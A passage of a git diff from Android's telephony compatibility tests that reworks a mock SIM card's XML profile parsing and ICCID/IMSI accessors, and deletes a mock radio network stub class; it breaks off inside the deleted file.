                             int numofapp = Integer.parseInt(parser.getAttributeValue(0));
-                            String iccid = parser.getAttributeValue(1);
+                            mATR = parser.getAttributeValue(1);
                             Log.d(
                                     TAG,
                                     "Found "
                                             + MOCK_SIM_TAG
                                             + ": numofapp = "
                                             + numofapp
-                                            + " iccid = "
-                                            + iccid);
-                            mICCID = iccid;
+                                            + " atr = "
+                                            + mATR);
                             mSimApp = new AppStatus[numofapp];
                             if (mSimApp == null) {
                                 Log.e(TAG, "Create SIM app failed!");
@@ -502,7 +629,8 @@
                             }
                             mocksim_validation = true;
                         } else if (mocksim_validation
-                                && MOCK_SIM_PROFILE_TAG.equals(parser.getName())) {
+                                && MOCK_SIM_PROFILE_TAG.equals(parser.getName())
+                                && appidx < mSimApp.length) {
                             int id = Integer.parseInt(parser.getAttributeValue(0));
                             int type = convertMockSimAppType(parser.getAttributeValue(1));
                             mSimApp[appidx] = new AppStatus();
@@ -531,7 +659,9 @@
                                             + " ("
                                             + type
                                             + ")========");
+                            mocksim_pf_validatiion = true;
                         } else if (mocksim_validation
+                                && mocksim_pf_validatiion
                                 && MOCK_PIN_PROFILE_TAG.equals(parser.getName())) {
                             int appstate = convertMockSimAppState(parser.getAttributeValue(0));
                             mSimApp[appidx].appState = appstate;
@@ -545,6 +675,7 @@
                                             + appstate
                                             + ")");
                         } else if (mocksim_validation
+                                && mocksim_pf_validatiion
                                 && MOCK_PIN1_STATE_TAG.equals(parser.getName())) {
                             String state = parser.nextText();
                             int pin1state = convertMockSimPinState(state);
@@ -559,6 +690,7 @@
                                             + pin1state
                                             + ")");
                         } else if (mocksim_validation
+                                && mocksim_pf_validatiion
                                 && MOCK_PIN2_STATE_TAG.equals(parser.getName())) {
                             String state = parser.nextText();
                             int pin2state = convertMockSimPinState(state);
@@ -571,7 +703,9 @@
                                             + " ("
                                             + pin2state
                                             + ")");
+                            mSimApp[appidx].pin2 = pin2state;
                         } else if (mocksim_validation
+                                && mocksim_pf_validatiion
                                 && MOCK_FACILITY_LOCK_FD_TAG.equals(parser.getName())) {
                             fd_lock = convertMockSimFacilityLock(parser.nextText());
                             Log.d(
@@ -581,6 +715,7 @@
                                             + ": fd lock = "
                                             + fd_lock);
                         } else if (mocksim_validation
+                                && mocksim_pf_validatiion
                                 && MOCK_FACILITY_LOCK_SC_TAG.equals(parser.getName())) {
                             sc_lock = convertMockSimFacilityLock(parser.nextText());
                             Log.d(
@@ -589,7 +724,9 @@
                                             + MOCK_FACILITY_LOCK_SC_TAG
                                             + ": sc lock = "
                                             + sc_lock);
-                        } else if (mocksim_validation && MOCK_MF_TAG.equals(parser.getName())) {
+                        } else if (mocksim_validation
+                                && mocksim_pf_validatiion
+                                && MOCK_MF_TAG.equals(parser.getName())) {
                             SimAppData simAppData;
                             String name = parser.getAttributeValue(0);
                             String path = parser.getAttributeValue(1);
@@ -609,13 +746,14 @@
                                             + " path = "
                                             + path);
                         } else if (mocksim_validation
+                                && mocksim_pf_validatiion
                                 && !mocksim_mf_validation
                                 && MOCK_EF_DIR_TAG.equals(parser.getName())) {
                             SimAppData simAppData;
                             String name = parser.getAttributeValue(0);
                             boolean curr_active = Boolean.parseBoolean(parser.getAttributeValue(1));
                             String aid = parser.nextText();
-                            simAppData = new SimAppData(appidx, aid, name);
+                            simAppData = new SimAppData(appidx, aid, name, curr_active);
                             if (simAppData == null) {
                                 Log.e(TAG, "Create SIM app data failed!");
                                 result = false;
@@ -639,33 +777,71 @@
                                             + aid);
                             mocksim_mf_validation = true;
                         } else if (mocksim_validation
+                                && mocksim_pf_validatiion
                                 && mocksim_mf_validation
                                 && MOCK_ADF_TAG.equals(parser.getName())) {
                             String aid = parser.getAttributeValue(0);
                             Log.d(TAG, "Found " + MOCK_ADF_TAG + ": aid = " + aid);
                             adf_aid = aid;
                         } else if (mocksim_validation
+                                && mocksim_pf_validatiion
                                 && mocksim_mf_validation
                                 && (adf_aid.length() > 0)
                                 && MOCK_EF_TAG.equals(parser.getName())) {
                             String name = parser.getAttributeValue(0);
                             String id = parser.getAttributeValue(1);
-                            String value = parser.nextText();
-                            if (storeEfData(adf_aid, name, id, value)) {
-                                Log.d(
-                                        TAG,
-                                        "Found "
-                                                + MOCK_EF_TAG
-                                                + ": name = "
-                                                + name
-                                                + " id = "
-                                                + id);
+                            String command = parser.getAttributeValue(2);
+                            String[] value;
+                            switch (id) {
+                                case "6F07": // EF_IMSI
+                                    int mncDigit = Integer.parseInt(parser.getAttributeValue(3));
+                                    String imsi = parser.nextText();
+                                    value = extractImsi(imsi, mncDigit);
+                                    if (value != null
+                                            && storeEfData(adf_aid, name, id, command, value)) {
+                                        Log.d(
+                                                TAG,
+                                                "Found "
+                                                        + MOCK_EF_TAG
+                                                        + ": name = "
+                                                        + name
+                                                        + " id = "
+                                                        + id
+                                                        + " command = "
+                                                        + command
+                                                        + " value = "
+                                                        + imsi
+                                                        + " with mnc-digit = "
+                                                        + mncDigit);
+                                    }
+                                    break;
+                                default:
+                                    value = new String[1];
+                                    if (value != null) {
+                                        value[0] = parser.nextText();
+                                        if (storeEfData(adf_aid, name, id, command, value)) {
+                                            Log.d(
+                                                    TAG,
+                                                    "Found "
+                                                            + MOCK_EF_TAG
+                                                            + ": name = "
+                                                            + name
+                                                            + " id = "
+                                                            + id
+                                                            + " command = "
+                                                            + command
+                                                            + " value = "
+                                                            + value[0]);
+                                        }
+                                    }
+                                    break;
                             }
                         }
                         break;
                     case XmlPullParser.END_TAG:
                         if (mocksim_validation && MOCK_SIM_PROFILE_TAG.equals(parser.getName())) {
                             appidx++;
+                            mocksim_pf_validatiion = false;
                             mocksim_mf_validation = false;
                         } else if (mocksim_validation && MOCK_ADF_TAG.equals(parser.getName())) {
                             adf_aid = "";
@@ -673,7 +849,7 @@
                         break;
                 }
             }
-            Log.d(TAG, "Totally create " + appidx + " SIM profiles");
+            Log.d(TAG, "Totally create " + Math.min(mSimApp.length, appidx) + " SIM profiles");
             mSimProfileInfoList[mSimProfileId].setNumOfSimApp(appidx);
             input.close();
         } catch (Exception e) {
@@ -712,7 +888,6 @@
         if (mSimProfileId != MOCK_SIM_PROFILE_ID_DEFAULT) {
             switch (mPhysicalSlotId) {
                 case MOCK_SIM_SLOT_1:
-                    mATR = "3B9F96801FC78031E073FE2111634082918307900099";
                     mEID = DEFAULT_SIM1_EID;
                     break;
                 case MOCK_SIM_SLOT_2:
@@ -731,19 +906,16 @@
                 case MOCK_SIM_SLOT_1:
                     mATR = DEFAULT_SIM1_ATR;
                     mEID = DEFAULT_SIM1_EID;
-                    mICCID = DEFAULT_SIM1_ICCID;
                     mUniversalPinState = DEFAULT_SIM1_UNIVERSAL_PIN_STATE;
                     break;
                 case MOCK_SIM_SLOT_2:
                     mATR = DEFAULT_SIM2_ATR;
                     mEID = DEFAULT_SIM2_EID;
-                    mICCID = DEFAULT_SIM2_ICCID;
                     mUniversalPinState = DEFAULT_SIM2_UNIVERSAL_PIN_STATE;
                     break;
                 case MOCK_SIM_SLOT_3:
                     mATR = DEFAULT_SIM3_ATR;
                     mEID = DEFAULT_SIM3_EID;
-                    mICCID = DEFAULT_SIM3_ICCID;
                     mUniversalPinState = DEFAULT_SIM3_UNIVERSAL_PIN_STATE;
                     break;
             }
@@ -789,12 +961,54 @@
         return mEID;
     }
 
+    public boolean setATR(String atr) {
+        // TODO: add any ATR format check
+        mATR = atr;
+        return true;
+    }
+
     public String getATR() {
         return mATR;
     }
 
+    public boolean setICCID(String iccid) {
+        boolean result = false;
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        // TODO: add iccid format check
+        if (activeSimAppData != null) {
+            String iccidInfo = activeSimAppData.getIccidInfo();
+            int dataFileSize = iccid.length() / 2;
+            String dataFileSizeStr = Integer.toString(dataFileSize, 16);
+
+            Log.d(TAG, "Data file size = " + dataFileSizeStr);
+            if (dataFileSizeStr.length() <= 4) {
+                dataFileSizeStr = String.format("%04x", dataFileSize).toUpperCase(Locale.ROOT);
+                // Data file size index is 2 and 3 in byte array of iccid info data.
+                iccidInfo = iccidInfo.substring(0, 4) + dataFileSizeStr + iccidInfo.substring(8);
+                Log.d(TAG, "Update iccid info = " + iccidInfo);
+                activeSimAppData.setIccidInfo(iccidInfo);
+                activeSimAppData.setIccid(iccid);
+                result = true;
+            } else {
+                Log.e(TAG, "Data file size(" + iccidInfo.length() + ") is too large.");
+            }
+        } else {
+            Log.e(TAG, "activeSimAppData = null");
+        }
+
+        return result;
+    }
+
     public String getICCID() {
-        return mICCID;
+        String iccid = "";
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        if (activeSimAppData != null) {
+            iccid = activeSimAppData.getIccid();
+        }
+
+        return iccid;
     }
 
     public int getUniversalPinState() {
@@ -824,4 +1038,132 @@
     public ArrayList<SimAppData> getSimAppList() {
         return mSimAppList;
     }
+
+    public SimAppData getActiveSimAppData() {
+        SimAppData activeSimAppData = null;
+
+        for (int simAppIdx = 0; simAppIdx < mSimAppList.size(); simAppIdx++) {
+            if (mSimAppList.get(simAppIdx).isCurrentActive()) {
+                activeSimAppData = mSimAppList.get(simAppIdx);
+                break;
+            }
+        }
+
+        return activeSimAppData;
+    }
+
+    public String getActiveSimAppId() {
+        String aid = "";
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        if (activeSimAppData != null) {
+            aid = activeSimAppData.getAid();
+        }
+
+        return aid;
+    }
+
+    private boolean setMcc(String mcc) {
+        boolean result = false;
+
+        if (mcc.length() == 3) {
+            SimAppData activeSimAppData = getActiveSimAppData();
+            if (activeSimAppData != null) {
+                activeSimAppData.setMcc(mcc);
+                result = true;
+            }
+        }
+
+        return result;
+    }
+
+    private boolean setMnc(String mnc) {
+        boolean result = false;
+
+        if (mnc.length() == 2 || mnc.length() == 3) {
+            SimAppData activeSimAppData = getActiveSimAppData();
+            if (activeSimAppData != null) {
+                activeSimAppData.setMnc(mnc);
+                result = true;
+            }
+        }
+
+        return result;
+    }
+
+    public String getMccMnc() {
+        String mcc;
+        String mnc;
+        String result = "";
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        if (activeSimAppData != null) {
+            mcc = activeSimAppData.getMcc();
+            mnc = activeSimAppData.getMnc();
+            if (mcc != null
+                    && mcc.length() == 3
+                    && mnc != null
+                    && (mnc.length() == 2 || mnc.length() == 3)) {
+                result = mcc + mnc;
+            } else {
+                Log.e(TAG, "Invalid Mcc or Mnc.");
+            }
+        }
+        return result;
+    }
+
+    public String getMsin() {
+        String result = "";
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        if (activeSimAppData != null) {
+            result = activeSimAppData.getMsin();
+            if (result.length() <= 0 || result.length() > 10) {
+                Log.e(TAG, "Invalid Msin.");
+            }
+        }
+
+        return result;
+    }
+
+    public boolean setImsi(String mcc, String mnc, String msin) {
+        boolean result = false;
+
+        if (msin.length() > 0 && (mcc.length() + mnc.length() + msin.length()) <= 15) {
+            SimAppData activeSimAppData = getActiveSimAppData();
+            if (activeSimAppData != null) {
+                setMcc(mcc);
+                setMnc(mnc);
+                activeSimAppData.setMsin(msin);
+                result = true;
+            } else {
+                Log.e(TAG, "activeSimAppData = null");
+            }
+        } else {
+            Log.e(TAG, "Invalid IMSI");
+        }
+
+        return result;
+    }
+
+    public String getImsi() {
+        String imsi = "";
+        String mccmnc;
+        String msin;
+        SimAppData activeSimAppData = getActiveSimAppData();
+
+        if (activeSimAppData != null) {
+            mccmnc = getMccMnc();
+            msin = activeSimAppData.getMsin();
+            if (mccmnc.length() > 0
+                    && msin != null
+                    && msin.length() > 0
+                    && (mccmnc.length() + msin.length()) <= 15) {
+                imsi = mccmnc + msin;
+            } else {
+                Log.e(TAG, "Invalid Imsi.");
+            }
+        }
+        return imsi;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/IRadioNetworkImpl.java b/tests/tests/telephony/current/src/android/telephony/cts/IRadioNetworkImpl.java
deleted file mode 100644
index c914f79..0000000
--- a/tests/tests/telephony/current/src/android/telephony/cts/IRadioNetworkImpl.java
+++ /dev/null
@@ -1,508 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.telephony.cts;
-
-import android.hardware.radio.RadioError;
-import android.hardware.radio.RadioResponseInfo;
-import android.hardware.radio.network.IRadioNetwork;
-import android.hardware.radio.network.IRadioNetworkIndication;
-import android.hardware.radio.network.IRadioNetworkResponse;
-import android.hardware.radio.network.NetworkScanRequest;
-import android.hardware.radio.network.RadioAccessSpecifier;
-import android.hardware.radio.network.SignalThresholdInfo;
-import android.os.RemoteException;
-import android.util.Log;
-
-public class IRadioNetworkImpl extends IRadioNetwork.Stub {
-    private static final String TAG = "MRNW";
-
-    private final MockModemService mService;
-    private IRadioNetworkResponse mRadioNetworkResponse;
-    private IRadioNetworkIndication mRadioNetworkIndication;
-
-    public IRadioNetworkImpl(MockModemService service) {
-        Log.d(TAG, "Instantiated");
-
-        this.mService = service;
-    }
-
-    // Implementation of IRadioNetwork functions
-    @Override
-    public void getAllowedNetworkTypesBitmap(int serial) {
-        Log.d(TAG, "getAllowedNetworkTypesBitmap");
-        int networkTypeBitmap = 0;
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-
-        try {
-            mRadioNetworkResponse.getAllowedNetworkTypesBitmapResponse(rsp, networkTypeBitmap);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getAllowedNetworkTypesBitmap from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getAvailableBandModes(int serial) {
-        Log.d(TAG, "getAvailableBandModes");
-
-        int[] bandModes = new int[0];
-        RadioResponseInfo rsp = mService.makeSolRsp(serial);
-        try {
-            mRadioNetworkResponse.getAvailableBandModesResponse(rsp, bandModes);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getAvailableBandModes from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getAvailableNetworks(int serial) {
-        Log.d(TAG, "getAvailableNetworks");
-
-        android.hardware.radio.network.OperatorInfo[] networkInfos =
-                new android.hardware.radio.network.OperatorInfo[0];
-        RadioResponseInfo rsp = mService.makeSolRsp(serial);
-        try {
-            mRadioNetworkResponse.getAvailableNetworksResponse(rsp, networkInfos);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getAvailableNetworks from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getBarringInfo(int serial) {
-        Log.d(TAG, "getBarringInfo");
-
-        android.hardware.radio.network.CellIdentity cellIdentity =
-                new android.hardware.radio.network.CellIdentity();
-        android.hardware.radio.network.BarringInfo[] barringInfos =
-                new android.hardware.radio.network.BarringInfo[0];
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.getBarringInfoResponse(rsp, cellIdentity, barringInfos);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getBarringInfo from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getCdmaRoamingPreference(int serial) {
-        Log.d(TAG, "getCdmaRoamingPreference");
-        int type = 0;
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.getCdmaRoamingPreferenceResponse(rsp, type);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getCdmaRoamingPreference from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getCellInfoList(int serial) {
-        Log.d(TAG, "getCellInfoList");
-
-        android.hardware.radio.network.CellInfo[] cellInfo =
-                new android.hardware.radio.network.CellInfo[0];
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.getCellInfoListResponse(rsp, cellInfo);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getCellInfoList from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getDataRegistrationState(int serial) {
-        Log.d(TAG, "getDataRegistrationState");
-
-        android.hardware.radio.network.RegStateResult dataRegResponse =
-                new android.hardware.radio.network.RegStateResult();
-        dataRegResponse.accessTechnologySpecificInfo =
-                android.hardware.radio.network.AccessTechnologySpecificInfo.noinit(true);
-        dataRegResponse.cellIdentity = android.hardware.radio.network.CellIdentity.noinit(true);
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial);
-        try {
-            mRadioNetworkResponse.getDataRegistrationStateResponse(rsp, dataRegResponse);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getRadioCapability from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getImsRegistrationState(int serial) {
-        Log.d(TAG, "getImsRegistrationState");
-        boolean isRegistered = false;
-        int ratFamily = 0;
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.getImsRegistrationStateResponse(rsp, isRegistered, ratFamily);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getImsRegistrationState from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getNetworkSelectionMode(int serial) {
-        Log.d(TAG, "getNetworkSelectionMode");
-        boolean manual = false;
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.getNetworkSelectionModeResponse(rsp, manual);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getNetworkSelectionMode from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getOperator(int serial) {
-        Log.d(TAG, "getOperator");
-
-        String longName = "";
-        String shortName = "";
-        String numeric = "";
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.getOperatorResponse(rsp, longName, shortName, numeric);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getOperator from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getSignalStrength(int serial) {
-        Log.d(TAG, "getSignalStrength");
-
-        android.hardware.radio.network.SignalStrength signalStrength =
-                new android.hardware.radio.network.SignalStrength();
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.getSignalStrengthResponse(rsp, signalStrength);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getSignalStrength from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getSystemSelectionChannels(int serial) {
-        Log.d(TAG, "getSystemSelectionChannels");
-
-        android.hardware.radio.network.RadioAccessSpecifier[] specifiers =
-                new android.hardware.radio.network.RadioAccessSpecifier[0];
-        RadioResponseInfo rsp = mService.makeSolRsp(serial);
-        try {
-            mRadioNetworkResponse.getSystemSelectionChannelsResponse(rsp, specifiers);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getSystemSelectionChannels from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getVoiceRadioTechnology(int serial) {
-        Log.d(TAG, "getVoiceRadioTechnology");
-        int rat = 0;
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.getVoiceRadioTechnologyResponse(rsp, rat);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getVoiceRadioTechnology from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void getVoiceRegistrationState(int serial) {
-        Log.d(TAG, "getVoiceRegistrationState");
-
-        android.hardware.radio.network.RegStateResult voiceRegResponse =
-                new android.hardware.radio.network.RegStateResult();
-        voiceRegResponse.accessTechnologySpecificInfo =
-                android.hardware.radio.network.AccessTechnologySpecificInfo.noinit(true);
-        voiceRegResponse.cellIdentity = android.hardware.radio.network.CellIdentity.noinit(true);
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial);
-        try {
-            mRadioNetworkResponse.getVoiceRegistrationStateResponse(rsp, voiceRegResponse);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to getVoiceRegistrationState from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void isNrDualConnectivityEnabled(int serial) {
-        Log.d(TAG, "isNrDualConnectivityEnabled");
-        boolean isEnabled = false;
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.isNrDualConnectivityEnabledResponse(rsp, isEnabled);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to isNrDualConnectivityEnabled from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void responseAcknowledgement() {
-        Log.d(TAG, "responseAcknowledgement");
-    }
-
-    @Override
-    public void setAllowedNetworkTypesBitmap(int serial, int networkTypeBitmap) {
-        Log.d(TAG, "setAllowedNetworkTypesBitmap");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setAllowedNetworkTypesBitmapResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setAllowedNetworkTypesBitmap from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setBandMode(int serial, int mode) {
-        Log.d(TAG, "setBandMode");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setBandModeResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setBandMode from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setBarringPassword(
-            int serial, String facility, String oldPassword, String newPassword) {
-        Log.d(TAG, "setBarringPassword");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setBarringPasswordResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setBarringPassword from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setCdmaRoamingPreference(int serial, int type) {
-        Log.d(TAG, "setCdmaRoamingPreference");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setCdmaRoamingPreferenceResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setCdmaRoamingPreference from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setCellInfoListRate(int serial, int rate) {
-        Log.d(TAG, "setCellInfoListRate");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setCellInfoListRateResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setCellInfoListRate from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setIndicationFilter(int serial, int indicationFilter) {
-        Log.d(TAG, "setIndicationFilter");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setIndicationFilterResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setIndicationFilter from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setLinkCapacityReportingCriteria(
-            int serial,
-            int hysteresisMs,
-            int hysteresisDlKbps,
-            int hysteresisUlKbps,
-            int[] thresholdsDownlinkKbps,
-            int[] thresholdsUplinkKbps,
-            int accessNetwork) {
-        Log.d(TAG, "setLinkCapacityReportingCriteria");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setLinkCapacityReportingCriteriaResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setLinkCapacityReportingCriteria from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setLocationUpdates(int serial, boolean enable) {
-        Log.d(TAG, "setLocationUpdates");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setLocationUpdatesResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setLocationUpdates from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setNetworkSelectionModeAutomatic(int serial) {
-        Log.d(TAG, "setNetworkSelectionModeAutomatic");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setNetworkSelectionModeAutomaticResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setNetworkSelectionModeAutomatic from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setNetworkSelectionModeManual(int serial, String operatorNumeric, int ran) {
-        Log.d(TAG, "setNetworkSelectionModeManual");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setNetworkSelectionModeManualResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setNetworkSelectionModeManual from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setNrDualConnectivityState(int serial, byte nrDualConnectivityState) {
-        Log.d(TAG, "setNrDualConnectivityState");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setNrDualConnectivityStateResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setNrDualConnectivityState from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setResponseFunctions(
-            IRadioNetworkResponse radioNetworkResponse,
-            IRadioNetworkIndication radioNetworkIndication) {
-        Log.d(TAG, "setResponseFunctions");
-        mRadioNetworkResponse = radioNetworkResponse;
-        mRadioNetworkIndication = radioNetworkIndication;
-        mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
-    }
-
-    @Override
-    public void setSignalStrengthReportingCriteria(
-            int serial, SignalThresholdInfo[] signalThresholdInfos) {
-        Log.d(TAG, "setSignalStrengthReportingCriteria");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setSignalStrengthReportingCriteriaResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setSignalStrengthReportingCriteria from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setSuppServiceNotifications(int serial, boolean enable) {
-        Log.d(TAG, "setSuppServiceNotifications");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setSuppServiceNotificationsResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setSuppServiceNotifications from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setSystemSelectionChannels(
-            int serial, boolean specifyChannels, RadioAccessSpecifier[] specifiers) {
-        Log.d(TAG, "setSystemSelectionChannels");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setSystemSelectionChannelsResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to setSystemSelectionChannels from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void startNetworkScan(int serial, NetworkScanRequest request) {
-        Log.d(TAG, "startNetworkScan");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.startNetworkScanResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to startNetworkScan from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void stopNetworkScan(int serial) {
-        Log.d(TAG, "stopNetworkScan");
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.stopNetworkScanResponse(rsp);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to stopNetworkScan from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void supplyNetworkDepersonalization(int serial, String netPin) {
-        Log.d(TAG, "supplyNetworkDepersonalization");
-        int remainingRetries = 0;
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.supplyNetworkDepersonalizationResponse(rsp, remainingRetries);
-        } catch (RemoteException ex) {
-            Log.e(TAG, "Failed to supplyNetworkDepersonalization from AIDL. Exception" + ex);
-        }
-    }
-
-    @Override
-    public void setUsageSetting(int serial, int usageSetting) {
-        Log.d(TAG, "setUsageSetting");
-        int remainingRetries = 0;
-
-        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
-        try {
-            mRadioNetworkResponse.setUsageSettingResponse(rsp);
-        } catch (RemoteException ex) {
